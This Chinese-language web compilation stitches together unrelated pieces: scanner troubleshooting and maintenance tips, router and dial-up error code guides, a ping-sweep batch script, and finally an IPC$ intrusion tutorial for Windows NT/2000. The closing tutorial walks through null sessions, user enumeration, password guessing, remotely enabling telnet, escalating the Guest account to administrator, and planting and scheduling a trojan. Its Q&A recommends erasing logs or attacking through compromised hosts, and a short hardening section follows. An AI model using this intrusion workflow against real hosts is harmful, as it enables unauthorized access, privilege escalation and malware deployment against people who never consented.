扫描仪的一些常见故障以及解决方法
硬件问题和软件设置问题。硬件问题主要是电源、线路等。软件设置问题主要是驱动、端口、扫描设置等。同时，一个合适的工作环境也是扫描仪正常工作的保证。以下是我为大家收集的扫描仪的一些常见故障以及解决方法，欢迎大家分享。
扫描仪常见故障及其解决方案
1、开启扫描仪时出现“SCSI card not found提示
SCSI卡上设置了保险丝，当遇到不良电路状况(电压不稳或短路等)会自动断开，待线路良好或测得温度降低后会自动连接。我们避免不良电路状况对扫描仪造成的损害。
2、找不到扫描仪
确认是否先开启扫描仪的电源，然后才启动计算机。如果不是，可以按“设备管理器的“刷新按钮，查看扫描仪是否有自检，绿色指示灯是否稳定地亮着。假若答案肯定，则可排除扫描仪本身故障的可能性。如果扫描仪的指示灯不停地闪烁，表明扫描仪状态不正常。先检查扫描仪与电脑的接口电缆是否有问题，以及是否安装了扫描仪驱动程序。此外，还应检查“设备管理器中扫描仪是否与其他设备冲突（IRQ或I/O地址），若有冲突可以更改SCSI卡上的跳线。
3、扫描仪Ready灯不亮
打开扫描仪电源后，若发现Ready灯不亮，先检查扫描仪内部灯管。若发现内部灯管是亮的，可能与室温有关。解决的办法是让扫描仪通电半小时后，关闭扫描仪。一分钟后再打开它，问题即可迎刃而解。若此时扫描仪仍然不能工作，则先关闭扫描仪，断开扫描仪与电脑之间的连线，将SCSI ID的值设置成7，大约一分钟后再把扫描仪打开。 在冬季气温较低时，最好在使用前先预热几分钟，这样就可避免开机后Ready灯不亮的现象。
4、输出图像色彩不够艳丽
如果扫描的图像色彩不够艳丽，可以先调节显示器的亮度、对比度和Gamma值。Gamma值是人眼从暗色调到亮色调的一种感觉曲线。
Gamma值越高感觉色彩的层次就更丰富。在扫描仪自带的扫描应用软件里，我们可以对Gamma值进行调整。当然，为了求得较好的效果，你也可以在Photoshop等软件中对Gamma值进行调整，但这属于“事后调整。在扫描仪自带的软件中，如果是普通用途，Gamma值通常设为1.4；若用于印刷，则设为1.8；网页上的照片则设为2.2。还有就是扫描仪在使用前应该进行色彩校正，否则就极可能使扫描的图像失真；此外还可以对扫描仪驱动程序对话框中的亮度/对比度选项进行具体调节。
扫描仪维修保养技巧大全
扫描仪作为图像输入设备，已经普及到千家万户，那么在使用当中怎样正确地去维护保养也是值得注意的问题。今天，编者就为大家介绍一下扫描仪日常维护保养要注意的地方。
1、不要随意热插拔数据传输线。一般家用扫描仪都是EPP接口，在扫描仪通电后，如果随意热插拔接口的数据传输线，会损坏扫描仪或计算机的接口，更换起来就比较麻烦了，尽管你试了一下没有出现问题也请不要这样做。
2、不要经常插拔电源线与扫描仪的接头。这样经常插拔电源线与扫描仪的接头，会造成连接处的接触不良，导致电路不通，维修起来也是十分麻烦。正确的电源切断应该是拔掉电源插座上的直插式电源变换器。
3、不要中途切断电源。由于镜组在工作时运动速度比较慢，当扫描一幅图像后，它需要一部分时间从底部归位，所以大家在正常供电的情况下不要中途切断电源，等到扫描仪的镜组完全归位后，再切断电源。现在有一些扫描仪为了防止运输中的震动，还对镜组部分添加了锁扣，可见镜组的归位对镜组的保护有多么的重要。
4、放置物品时要一次定位准确。有些型号的扫描仪是可以扫描小型立体物品的，在使用这类扫描仪时应当注意：放置物品时要一次定位准确，不要随便移动以免刮伤玻璃，更不要在扫描的过程之中移动物品。
5、不要在扫描仪上面放置物品。因为办公或家庭空间的限制，而扫描仪又比较占地方，所以有些用户常将一些物品放在扫描仪上面，时间长了，扫描仪的塑料遮板因中空受压将会导致变形，影响使用。
6、长久不用时请切断电源。一些扫描仪并没有在不使用时完全切断电源开关的设计，当长久不用时，扫描仪的灯管依然是亮着的，由于扫描仪灯管也是消耗品，所以建议用户在长久不用时切断电源。
7、建议不要在靠窗的位置使用扫描仪。由于扫描仪在工作中会产生静电，时间长了会吸附灰尘进入机体内部影响镜组的工作，所以尽量不要在靠窗或容易吸附灰尘的位置使用扫描仪，另外要保持扫描仪使用环境的湿度，减少浮尘对扫描仪的影响。
8、机械部分的保养。扫描仪长久使用后，要拆开盖子，用浸有缝纫机油的棉布擦拭镜组两条轨道上的油垢，擦净后，再将适量的缝纫机油滴在传动齿轮组及皮带两端的轴承上面，最后装机测试，你会发现噪音小了很多。
扫描仪故障解决方法
扫描仪是一种被广泛应用于计算机的输入设备。作为光电、机械一体化的高科技产品，它是我们常用的办公设备，可它一旦出现故障就会令我们束手无策，有些故障需要专业人员维修，也有许多故障是自己就可以排除的。下面就向大家介绍一些常见故障的排除方法：
一、扫描仪的拆卸
在维护和检修时往往需要拆卸扫描仪，因此首先为大家介绍扫描仪拆卸的基本方法：
1、首先拆除玻璃平台，用十字旋具伸入圆孔中拧下螺钉，即可向上取下顶盖和玻璃平台。打开扫描仪后，即可看到步进电动机、传动带、扫描头和电路板等部件。有些扫描仪的上下两部分不是用螺钉而是用塑料卡扣衔接，拆卸时用平口小旋具插到缝隙中撬开塑料卡扣，即可分离上下两部分，撬塑料卡扣时动作要轻，不要损坏塑料部件。
2、拔下数据软排线。扫描仪内部一般有两块电路板，-块固定在扫描头后侧，另-块安装在扫描仪后侧，两块电路板通过数据软排线相连接。取下扫描头之前需先取下数据软排线。数据软排线卡在电路板上的排线卡槽中，取下软排线时需先将排线卡槽两侧的卡销向外拨，而后即可很轻松地向外抽出软排线。
3、拆卸扫描头。扫描头大多穿在圆形金属杆(导轨)上，由传动带带动沿扫描仪纵向运动，只需将圆形金属杆从底座上的塑料卡座中取下，使扫描头脱离传动带，即可向上取下扫描头和圆形金属杆，而后将圆形金属杆从扫描头上抽出。
4、取下灯管。灯管位于扫描头顶部，沿扫描头横向放置，卡在扫描头两侧的塑料卡座上，其供电电源插头插在扫描头后侧的电路板上。只需取下电路板上灯管的供电电源插头，即可从扫描头上取下灯管。最细的灯管只有火柴棍粗细，拆卸、放置时需特别小心。
5、拆除电路板。拧下两粒螺钉即可取下扫描头上的电路板，在电路板正面就能看到双列直插封装的CCD器件。由于CCD器件需正对扫描光路中光学透镜，安装还原不当会影响扫描质量，建议不要随便拆下扫描头上的电路板。
二、常见故障原因与排除
1、整幅图像只有一小部分被获取
故障原因与排除：聚焦矩形框仍然停留在预览图像上；只有矩形框内的区域被获取。在做完聚焦后，点击一下去掉聚焦矩形框，反复试验以获得图像。
2、图像中有过多的图案（噪声干扰）
故障原因与排除：扫描仪的工作环境湿度超出了它的允许范围(也许是扫描仪在允许范围外被存放或运输了)。让扫描仪工作在允许范围内。关掉计算机，再关掉扫描仪，然后先打开扫描仪，再打开计算机，以重新校准扫描仪。
3、原稿颜色与屏幕颜色差别太大
故障原因与排除：
(1)检查屏幕的色度、亮度、反差的设定是否合乎正常要求。
(2)检查ColorLinks的屏幕设定选项是否正确。
(3)如果FotoLook是外边置挂在Photoshop下执行，请检查File-Preferences Monitor Setup，Printing lnks Setup和Seperation Setup是否正确。
(4)假设上述设置皆正确时，可以做一下扫描仪与显示屏之间的色彩校正。
4、扫描出的整个图像变形或出现模糊
故障原因与排除：
(1)扫描仪玻璃板脏污或反光镜条脏污；用软布擦拭玻璃板并清洁反光镜条。
(2)扫描原稿文件未能始终平贴在文件台上；确保扫描原稿始终平贴在平台上。
(3)确保扫描过程中不要移动文件。
(4)扫描过程中扫描仪因放置不平而产生震动；注意把扫描仪放于平稳的表面上。
(5)调节软件的曝光设置或“Gamma设置。
(6)若是并口扫描仪发生以上情况，可能是传输电缆存在问题，建议使用IEEE-1284以上的高性能电缆。
5、扫描的图像在屏幕显示或打印输出时总是出现丢失点线的现象
故障原因与排除：
(1)检查扫描仪的传感器是否出现了故障或文件自动送纸器的纸张导纸机构出现故障，找专业人员进行检查维修。
(3)对扫描仪的光学镜头做除尘处理，用专用的小型吸尘器效果最好。
(4)检查扫描仪外盖上的白色校正条是否有脏污，需及时清洁。
(5)检查一下稿台玻璃是否脏了或有划痕，可以定期彻底清洁扫描仪或更换稿台玻璃来避免该情况的发生。后一种情况应与当地授权技术服务中心联系。
6、扫描印刷品时，龟纹（交叉影像）出现在图像的特定区域内
故障原因与排除：首先让我们来了解一下彩色印刷品成像的简单原理。试着拿放大镜观察一下一般的彩色印刷品，其实任何图文都是通过4种颜色来组成，就是经常提及的青色、品红色、黄色与黑色。这些颜色是很细小的墨点(好的彩色印刷应该有1200 dpi的分辨率)，利用墨点的排列组合方式让眼睛产生错觉，比如某一区红色的墨点比较多，人脑的视觉系统就会以为这一区偏红色。这样细小的网点，在扫描的时候会被灵敏的感光组件所侦测出来，于是扫描的结果会让整张图片有各种纹路出现，严重影响扫描图像的品质。可以采用以下几种方案来避免龟纹的产生。
(1)在“图像类型中选择“彩色照片（去网纹）设置，或在“图像类型对话框中选“去网纹设置。
(2)在文件和稿台间放置一张透明页，使图像散焦。
(3)正确定位图像。
(4)可稍调小图像尺寸。
(5)在扫描仪的了TWAIN中选中“清除边缘清晰化复选框。
路由器故障逐个数（上）
集线器、交换机和路由器三者中，路由器是大家比较生疏的，但随着大规模局域网和宽带的普及，路由器应用也更加广泛，相关的故障也逐渐增多。我们就来看看常见的路由器的故障有哪些吧。
故障现象：无法登录至宽带路由器设置页面。
原因以及解决方法：
首先确认路由器与电脑已经正确连接。检查网卡端口和路由器LAN端口对应的指示灯是否正常。
假如指示灯不正常，重新插好网线或者替换双绞线，然后在电脑中检查网络连接：先将电脑的IP地址设置成自动获取IP地址。然后查看网卡的连接是否正确获得IP地址和网关信息，假如没有请手动设置，假如这些信息已经正确获得 ，请注重是否开启了防火墙服务，如开启请将它禁用。
比较新的路由器（尤其是家用的）多采用IE登录路由器的方式进行维护，因此我们可以在IE的连接设置中选择“从不进行拨号连接，再单击“局域网设置，清空所有选项。然后在浏览器地址栏中输入宽带路由器的IP地址，按下Enter键即可进入设置页面。如还不能登录，请尝试将网关设置为路由器的IP地址，本机IP地址设为与路由器同网段的IP地址再进行连接。
假如用上面的方法还不能解决所碰到的问题，请检查网卡是否与系统的其他的硬件有冲突。
故障现象?经常出现无法连接到路由器或连接速度非常慢的情况。
原因以及解决方法?
这种情况与网线的关系比较大。
假如经常出现连接问题，可能存在水晶头质量问题或接触问题，注重将各个接口插紧。并更换质量好的水晶头。同时检查网线的线序是否正确。
故障现象?使用ADSL方式上网，设置好路由器以后却无法使用拨号软件进行拨号。
原因以及解决方法?
设置好路由器的PPPoE连接后就从路由器进行拨号了，无须再使用电脑里的拨号软件，只要将电脑的IP地址设置为“自动获取或者设置为与路由器不冲突的IP地址即可。
故障现：路由器无法获取广域网地址。
原因以及解决方法：
首先请检查路由器的WAN口指示灯是否已经亮起，假如没亮则网线或者水晶头有问题。然后检查路由器是否已经正确配置并保存重启，否则设置不能生效!有时候还可能需要克隆网卡的MAC地址到路由器的广域网接口，具体设置参考路由器手册（可以参见《用MAC地址克隆解决共享网络连接》一文）。
Windows XP系统DHCP故障: 获取未使用的IP地址; 在我们解决Windows 操作系统的DHCP故障时，有时要找出某个地址范围内有哪些地址没有被使用。只需建立一个批处理文件，要求它只返回那些未用的IP地址，然后再将命令的结果输入到一个文本文件中。
作为网管员，在我们解决Windows 操作系统的DHCP故障时，有时要找出某个地址范围内有哪些地址没有被使用。本人以前介绍过一种方法：打开命令提示窗口，在For…in…Do循环中调用ping命令。例如，为了找出在地址范围192.168.1.1 到 192.168.1.100有哪些地址没有被使用，可以使用这个命令：For /L %f in (1,1,100) Do Ping.exe -n 2 192.168.1.%f
该命令会报告指定范围内的所有IP地址，不管是在用的还是未用的，用户都不得不在命令行窗口中翻看大量的内容。其实，我们完全可以避免这些麻烦，只需建立一个批处理文件，要求它只返回那些未用的IP地址，然后再将命令的结果输入到一个文本文件中。下面介绍方法：
打开记事本，在窗口中输入如下的命令：
@Echo off
date /t IPList.txt
time /t IPList.txt
echo =========== IPList.txt
For /L %%f in (1,1,100) Do Ping.exe -n 2 192.168.1.%%f Find
"Request timed out." echo 192.168.1.%%f Timed Out
IPList.txt echo off
cls
Echo Finished!
@Echo on
Notepad.exe IPList.txt
将此文件存为IPTracker.bat，关闭记事本程序。
需要注意的是，在这个批处理文件中，整个的For…In…Do命令由几个被“连接起来的命令组成。该命令以“For开始，以“Off结尾，而且整个命令必须在一行上。当然，如果用户要使用此方法的话，需要使用用户自己的IP地址来替换示例中的IP地址。
以后，如果用户要解决DHCP问题，可以在浏览器窗口中定位并双击IPTracker.bat文件，然后启动一个IP地址跟踪工具，这个批处理只查找那些未用的IP地址，并将结果存到记事本文件中。(在此例中，这个保存的'批处理文件成为一个IP地址跟踪工具，它可以一次创建，反复使用。)
电信宽带用户端常见故障
错误代码：619
故障分析：指定的端口未连接 观察猫及网卡指示灯，异常时检查网线、网卡和猫是否正常；如果指示灯正常，重新插拨网线，重启电脑和脑。
错误代码：631
故障分析：用户断开了调制解调器连接计算机的某个操作断开了连接，重拨
错误代码：676
故障分析：电话占线 重装网卡及驱动，重装拨号软件。
错误代码：678
故障分析：远程服务器无应答或通过WAN端口 排除电信工程外可能原因有：1 防火墙或杀毒软件，2 猫或网卡被数据堵塞，重启，3 网卡禁用或驱动出错，在设备管理器开启网卡或重装驱动即可 4 PPPOE协议丢失 5 家中电话太多或有的没套低通（滤波器或分离器）。另外，电压不稳定时，也有可能出现678错误。
错误代码：691
故障分析：由于域上的用户名/密码无效拒绝访问 可能原因有用户域、用户名、密码错，宽带欠费，限制用户数错，上网时间非有效期以及端口绑定错等。
错误代码：692
故障分析：调制解调器关闭、出故障或没有可靠的连接到计算机上 重装网卡解决
错误代码：718
故障分析：等待远程计算机有效响应的连接超时
;排除电信工程后，可以重装拨号软件或重建连接（多用于XP系统）
错误代码：720
故障分析：由于您的计算机与远程计算机的PPP控制协议不一致，所以连接尝试失败 重装拨号软件，如果不行还原系统或重装系统（关闭自动更新）。
错误代码：769
故障分析：无法连接到指定目标 网卡驱动被禁用或驱动异常，通过启用或重装驱动解决
错误代码：797
故障分析：同769（多出现在2000系统）
扫描仪噪音增大
故障现象：扫描时发出的噪音很大。
这是扫描仪工作时机械部分的移动产生的，有两个原因，其一与扫描速度密切相关。根据各品牌机器的具体软件，把扫描速度设置成中速或低速就可以解决问题。其二，跟工作环境有关，特别是在冬季，扫描仪内部滑杆会变得干燥，这时工作噪音就会增大。处理的方法很简单，一是提高室内温度，二是打开扫描仪，向滑杆上滴几滴润滑油即可。
找不到扫描仪
故障现象：开机后系统提示找不到扫描仪
出现这种情况，很多OL或新手会以为是扫描仪发生了严重的故障，会打电话给经销商。而JS则会借机敲我们一笔，甚至让我们买一部新的扫描仪。
其实这是一种最常见的故障。其原因无非有两个。第一个很简单，看看扫描仪的电源灯亮了没有。电源灯常亮，表示通电。在我日常的办公设备维护过程中，很多机器会出现这个问题。一看，原来是没插电源，或电源没有插好。这时，只要把电源插好，问题便解决了。
如果还不能排除故障。或电源没有问题，则会是软件设置方面的问题。开机后，在Windows“设备管理器”中点击“刷新”按钮，看是否找到扫描仪，并查看是否正确安装了相应的驱动程序。同时，检查“设备管理器”中扫描仪是否与其他设备冲突(IRQ或I/O地址)，若有冲突就要进行更改。总之，这类故障无非就是线路问题、驱动程序问题和端口冲突问题。
扫描仪没有准备就绪
故障现象：扫描仪开机后不工作，Ready(准备)灯不亮
打开扫描仪电源后，若发现Ready(准备)灯不亮，而电源、驱动、端口经检查又没有问题。这时，会有人觉得一筹莫展。其实排除这种故障很简单。到了冬季，气温较低，在打开扫描仪后，先不要急着使用，要先通一会儿电，即预热一段时间后，再使用。这时，这个问题便解决了。
整幅图像只有一小部分被获取
故障现象：扫描结果只是原作的一小部分
出现这种情况，主要是我们的操作问题。在扫描时，聚焦矩形框仍然停留在预览图像上，而没有进行放大选择，这样只有矩形框内的区域被获取。因此，做完预览扫描后，一定要正确选择要正式扫描的部分。
扫描出来的画面颜色模糊
故障现象：扫描仪能用，但扫描的图象却模糊不清
这种现象通常出现在办公环境较差的情况下。我们在使用扫描仪过程中，不可避免地会有一些灰尘，如果不注意清洁，灰尘附着在玻璃板上，就会出现这个问题。这时，我们要先用干净的布或纸将玻璃板擦干净。注意不要用水等液体来擦，那样会使扫描出来的图像呈现彩虹色。更不要用酒精来擦拭，因为酒精一般都有腐蚀作用，对扫描仪的寿命会有一定的影响。
如果擦拭玻璃后，这个问题依然存在，那就是我们的使用设置问题了。比如，我们将扫描分辨率300dpi的扫描仪设置成分辨率1200dpi以上来扫描，结果就会比较模糊。因为300dpi的扫描仪扫1200dpi相当于将一点放至四倍大。这时，将扫描分辨率设置为正确的数值即可。
扫描出的整个图像变形或出现模糊
故障现象：扫描结果整体出现变形
出现这种故障，一般情况下是扫描仪工作过程中，扫描仪或原稿出现移动。因此，我们要为扫描仪提供一个平稳的工作平台。并在扫描过程中，不要移动原稿文件。
输出图像色彩不够艳丽
故障现象：看扫描结果觉得颜色没有原作品艳丽
这种故障，一般情况下，扫描仪本身并没有问题。主要是我们的使用及设置问题。比如，我们可以调节显示器的亮度、对比度和Gamma值。或者干脆换一台更好的显示器。(这时，你就会明白为什么美术工作者用的显示器价格昂贵了)。同样，如果条件所限，我们也可能通过PS或其它图像编辑软件来设置Gamma值。一般来说，Gamma值越大，颜色越漂亮，图像层次也越多。
这里，为大家推荐一些相关的Gamma数值。如果是普通用途，Gamma值通常设为1.4;若是用于印刷，则设为1.8;网页上的照片则设为2.2。还有就是扫描仪在使用前应该进行色彩校正，否则就极可能使扫描的图像失真;此外还可以对扫描仪驱动程序对话框中的亮度/对比度选项进行具体调节。
至此，常见故障分析处理完了，只要我们在使用中注意这些问题，扫描仪会给我们的办公及生活带来很多方便及乐趣。
我现在给机房装服务器环境，可是公网ip在网上做扫描查询时候时候所有端口都被禁用了
你的机房是自己的还是托管的？如果是自建的机房，那么一定有至少一台路由器链接机房与公网。80号端口需要通过断藕映射才能在外网访问到。如果hi托管的，找托管服务商问问吧。
等高手解答139问题~
IPC$ 是黑客入侵的重要方式，笔者在这里给大家介绍一下它的用法，希望大家通过深入了解ipc$ ，并熟练掌握它的用法。本文适用于win NT/2000环境下，win98不在讨论之列，对于win Xp个别操作并不适用。
IPC$(Internet Process Connection)是共享"命名管道"的资源，它是为了让进程间通信而开放的命名管道，通过提供可信任的用户名和口令，连接双方可以建立安全的通道并以此通道进行加密数据的交换，从而实现对远程计算机的访问。
至于ipc$漏洞，其实它并不是一个真正意义上的漏洞,它是指微软自己安置的‘后门’：空会话（Null session）。
会话的建立 ：
建立会话的过程大致如下：
1）会话请求者（客户）向会话接收者（服务器）传送一个数据包，请求安全隧道的建立；
2）服务器产生一个随机的64位数（实现挑战）传送回客户；
3）客户取得这个由服务器产生的64位数，用试图建立会话的帐号的口令打乱它，将结果返回到服务器（实现响应）；
4）服务器接受响应后发送给本地安全验证（LSA），LSA通过使用该用户正确的口令来核实响应以便确认请求者身份。如果请求者的帐号是服务器的本地帐号，核实本地发生；如果请求的帐号是一个域的帐号，响应传送到域控制器去核实。当对挑战的响应核实为正确后，一个访问令牌产生，然后传送给客户。客户使用这个访问令牌连接到服务器上的资源直到建议的会话被终止。
空会话是在没有信任的情况下与服务器建立的会话，对于一个空会话，LSA提供的令牌的SID（空会话的SID）是S-1-5-7，用户名是：ANONYMOUS LOGON（系统内置的帐号），该访问令牌包含下面伪装的组：Everyone 和 Network
以下是在空会话中能够使用的命令：
1. 建立一个空会话
命令：net use \\ip\ipc$ "" /user:""
注意：密码左右各一个空格，目标主机需要开放ipc$。
2. 查看远程主机的共享资源
命令：net view \\IP
解释：建立了空连接后，用来查看远程主机的共享资源。
3. 查看远程主机的当前时间
命令：net time \\IP
解释：用此命令可以得到一个远程主机的当前时间。
4. 得到远程主机的NetBIOS用户名列表
命令：nbtstat -A IP
解释：用此命令可以得到一个远程主机的NetBIOS用户名列表，返回结果如下：
注意：本地主机的NBT需要打开。
知识链接：
★ SMB:(Server Message Block) Windows协议族，用于文件打印共享的服务；
★ NBT:(NETBios Over TCP/IP)使用137（UDP）138（UDP）139（TCP）端口实现基于TCP/IP协议的NETBIOS网络互联。
对于ipc$端口的选择，这里以WINDOWS 2000 为例：
对于客户端：
1. 在允许NBT的情况下连接服务器时，客户端会同时尝试访问139和445端口，如果445端口有响应，那么就发送RST包给139端口断开连接，用455端口进行会话，当445端口无响应时，才使用139端口，如果两个端口都没有响应，则会话失败；
2. 在禁止NBT的情况下连接服务器时，那么客户端只会尝试访问445端口，如果445端口无响应，那么会话失败。
对于服务器端：
1. 如果允许NBT, UDP端口137, 138 ，TCP 端口139, 445将开放；
2. 如果禁止NBT，只有445端口开放。
在进行实际的ipc$连接时，往往会遇到系统提示连接失败。我把可以成功建立ipc$的条件列出，希望大家可以通过这些找到连接失败的原因：
★ 跟操作系统相关（NT/2000/XP可以建立ipc$连接，98/ME不能建立ipc$连接）；
★ 目标主机必须要开启ipc$共享；
★ 本地主机必须要启动Lanmanworkstation服务（功能为提供网络链结和通讯）；
★ 目标主机必须要启动Lanmanserver服务（ipc$依赖于此服务，它提供了 RPC 支持、文件、打印以及命名管道共享）；
★ 目标主机必须要启动NetLogon，它支持网络上计算机 pass-through 帐户登录身份；
★ 目标主机应该启动NBT（打开139端口）；
★ 目标主机防火墙配置（如果屏蔽139和445端口也将导致连接失败）；
★ 用户名或者密码错误；
★ 命令输入错误（特别要注意空格的输入，用户名和密码中不包含空格时两边的双引号可以省略，密码为空，直接输入两个引号""）；
★ 建立好连接后目标主机重启，ipc$连接会自动断开。
当连接建立失败时，系统会返回一个错误号，此时可以通过错误号来分析连接失败的原因：
错误号5： 拒绝访问，权限不够；
错误号51： 无法找到网络路径（网络有问题）；
错误号53： 找不到网络路径（ip地址错误；目标主机未开机；目标主机lanmanserver服务未启动；目标主机防火墙设置过滤端口）；
错误号67： 找不到网络名（本地主机中lanmanworkstation服务未启动或者目标主机删除了ipc$）；
错误号1219： 提供的凭据与已存在的凭据集冲突（已经建立了一个ipc$，可以删除再连）；
错误号1326： 用户名或密码错误；
错误号1792： 试图登录，网络登录服务没有启动（目标主机中NetLogon服务未启动）；
错误号2242： 该用户的密码已经过期。
有时候已经建立了ipc$连接，但是在复制文件的时候提示出错，原因可能有以下几个方面：
1）盲目复制：
复制根本就不存在的共享文件，复制前应使用net view \\IP命令查看目标主机的共享情况；
2）默认共享判断错误：
★ ipc$共享与默认共享是两码事，ipc$共享是一个命名管道，不是具体的文件夹，而默认共享并不是ipc$共享的必要条件；
★ net view \\IP 无法显示默认共享（因为默认共享带$），我们无法通过这个命令判断对方是否开启了默认共享。
3）用户权限不够：
★ 空连接向所有共享（默认共享和普通共享）复制时，大多情况下权限是不够的；
★ 向默认共享复制时，要具有管理员权限；
★ 向普通共享复制时，要具有相应权限（即目标主机预设的访问权限）；
★ 目标主机通过防火墙或安全软件的设置，禁止外部访问共享；
4）被防火墙杀死或在局域网
需要在shell才能完成的命令：
★ 在远程主机上建立用户，激活用户，修改用户密码，加入管理组等操作；
★ 打开远程主机的ipc$共享，默认共享，普通共享的操作；
★ 运行/关闭远程主机的服务；
★ 启动/杀掉远程主机的进程。
IPC$入侵常用命令：
在利用IPC$漏洞入侵主机时常用到以下这些命令：
★ 建立空连接:
net use \\IP\ipc$ "" /user:""
★ 建立非空连接:
net use \\IP\ipc$ "password" /user:"username"
★ 查看远程主机的共享资源（但看不到默认共享）
net view \\IP
★ 查看本地主机的共享资源（可以看到本地的默认共享）
net share
★ 得到远程主机的用户名列表
nbtstat -A IP
★ 得到本地主机的用户列表
net user
★ 查看远程主机的当前时间
net time \\IP
★ 显示本地主机当前服务
net start
★ 启动/关闭本地服务
net start 服务名 /y
net stop 服务名 /y
★ 映射远程共享:
net use z: \\IP\sihochina
此命令将共享名为sihochina的共享资源映射到z盘
★ 删除共享映射
net use z: /del /y 删除映射的z盘
net use * /del /y 删除全部
★ 向远程主机复制文件
copy \路径\*.exe \\IP\共享目录名，如：
copy sihochina.exe \\IP\c 将当前目录下的sihochina.exe复制到对方c盘内
★ 远程添加计划任务
at \\ip 时间 程序名，如：
at \\192.168.0.1 11:00 sihochina.exe 11：00在主机192.168.0.1上运行sihochina.exe
★ 开启远程主机的telnet
这里要用到opentelnet.exe(下载地址1：
下载地址2：)，
目标主机还需满足以下条件：
1）目标主机开启了ipc$共享 ；
2）拥有目标主机的管理员帐号和密码 ；
3）目标主机开启了RemoteRegistry服务；
4）对WIN2K/XP有效。
命令格式：OpenTelnet.exe \\IP username password NTLM认证方式 port
如下：c:\OpenTelnet.exe \\*.*.*.* administrator "" 1 90
★ 激活用户/加入管理员组
net uesr account /active:yes
net localgroup administrators username /add
★ 关闭远程主机的telnet
这里要用到ResumeTelnet.exe （下载地址：）
命令格式：ResumeTelnet.exe \\IP username password
试例如下：c:\ResumeTelnet.exe \\*.*.*.* administrator ""
★ 删除一个已建立的ipc$连接
net use \\IP\ipc$ /del
ipc$入侵步骤
1 ） 用扫描软件搜寻存在若口令的主机（假设administrator的密码为空）；
2 ）有两条路可以选择：给对方开telnet（命令行），给它传木马（图形界面），那我们就先走telnet这条路吧 ；
3 ）要用到前面下载的opentelnet.exe；
c:\OpenTelnet.exe \\192.168.0.1 administrator "" 1 90
如果返回如下信息:
*******************************************************
Remote Telnet Configure, by refdom
Email: sihochina@126.com OpenTelnet.exe
Usage:OpenTelnet.exe \\server username password NTLMAuthor telnetport
*******************************************************
Connecting \\192.168.0.1 ...Successfully!
NOTICE!!!!!!
The Telnet Service default setting:NTLMAuthor=2 TelnetPort=23
Starting telnet service...
telnet service is started successfully! telnet service is running!
BINGLE!!!Yeah!!
Telnet Port is 90. You can try:"telnet ip 90", to connect the server!
Disconnecting server...Successfully!
说明你已经打开了一个端口90的telnet。
4 ）用 telnet 命令连接远程主机：
telnet 192.168.0.1 90
获得远程主机的一个shell；
5 ）C:\net user guest /active:yes
将Guest用户激活，可以用net user guest 查看帐户guest 的状态；
6 ）C:\net user guest 123456
将Guest的密码改为123456（当然也可以改成其他的密码）；
7 ）C:\net localgroup administrators guest /add
将Guest 账户加入到 Administrator管理组中（提升权限）。通过安全策略的设置，可以禁止guest等帐户的远程访问。
8 ）现在我们来走另一条路，给它传个木马；
9 ）先建立ipc$连接：
C:\net use \\192.168.0.1 \ipc$ "" /user:administrator
10 ）查看目标主机的共享目录：
C:\net view \\192.168.0.1
11 ）复制木马客户端文件到目标主机：
C:\copy sihochina.exe \\192.168.0.1\c
12 ）查看目标主机当前的系统时间：
net time \\192.168.0.1
13 ）用at 命令让木马客户端文件在指定时间运行，目标主机一定要开了Task Scheduler服务（允许程序在指定时间运行：
C:\at \\192.168.0.1 19:00 c:\sihochina.exe
14 ）一切OK，剩下的只能等了。
防范ipc$入侵：
1 ）禁止空连接进行枚举(并不能阻止空连接的建立)
方法1：
打开注册表编辑器，主键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA 下RestrictAnonymous = DWORD的键值改为：1 （一个匿名用户可以连接到IPC$共享，但无法列举SAM帐号和共享等信息）；
方法2：
在本地安全设置－本地策略－安全选项－在“对匿名连接的额外限制”中做相应设置 。
2 ）禁止默认共享
★ 察看本地共享资源
运行--cmd--net share
★ 删除共享（重启后默认共享仍然存在）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete
…………………………
★ 停止server服务
net stop server /y （重启后server服务会重新开启）
★ 禁止自动打开默认共享（此操作并未关闭ipc$共享）
打开注册表编辑器：
如果操作系统是server版：
主键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 下AutoShareServer（DWORD）的键值改为:00000000。
如果操作系统是pro版：
主键 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters 下AutoShareWks（DWORD）的键值改为:00000000。
3 ）关闭ipc$和默认共享依赖的服务：server服务
控制面板--管理工具--服务--找到server服务--属性--常规--启动类型--选已禁用
4 ）屏蔽139，445端口
★ 139端口可以通过禁止NBT来屏蔽
本地连接--TCP/IT属性--高级--WINS--选“禁用TCP/IT上的NETBIOS”一项
★ 445端口可以通过修改注册表来屏蔽
添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled
Type: REG_DWORD
Value: 0
修改完后重启计算机；
★ 设置防火墙进行端口过滤。
5 ）设置复杂密码，防止通过ipc$穷举出密码。
ipc$入侵常见问题集锦：
1）进行ipc$入侵的时候，会在服务器中留下记录，有什么办法可以不让服务器发现吗？
答：留下记录是一定的，你走后用程序删除就可以了，或者用肉鸡入侵。
2）你看下面的情况是为什么，可以连接但不能复制
net use \\***.***.***.***\ipc$ "密码" /user:"用户名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到网络路径
命令不成功
答：可能有两个原因：
★ 你的权限不够，不能访问默认共享；
★ 对方没有开启admin$默认共享，不要认为能进行ipc$连接，对方就一定开了默认共享（很多人都这么以为，误区！！），此时你可以试试别的默认共享或普通共享，比如c$,d$,c,d等，如果还是不行，就要看你的权限了，如果是管理员权限，你可以开telnet,如果能成功，在给它开共享也行。
3）如果对方开了IPC$，且能建立空联接，但打开C、D盘时，都要求密码，我知道是空连接没有太多的权限，但没别的办法了吗？
答：建议先用流光或者别的什么猜解一下密码，如果猜不出来，只能放弃，毕竟空连接的能力有限。
4）我已经猜解到了管理员的密码，且已经ipc$连接成功了，但net view \\ip发现它没开默认共享，我该怎么办？
答：首先纠正你的一个错误，用net view是无法看到默认共享的。既然你现在有管理员权限，而且对方又开了ipc$，建议你用opentelnet.exe这个小程序打开它的telent，在获得了这个shell之后，做什么都可以了。
5）ipc$连接成功后，我用下面的命令建立了一个帐户，却发现这个帐户在我自己的机器上，这是怎么回事？
答：ipc$建立成功只能说明你与远程主机建立了通信隧道，并不意味你取得了一个shell，只有在获得一个shell之后，你才能在远程建立一个帐户，否则你的操作只是在本地进行。
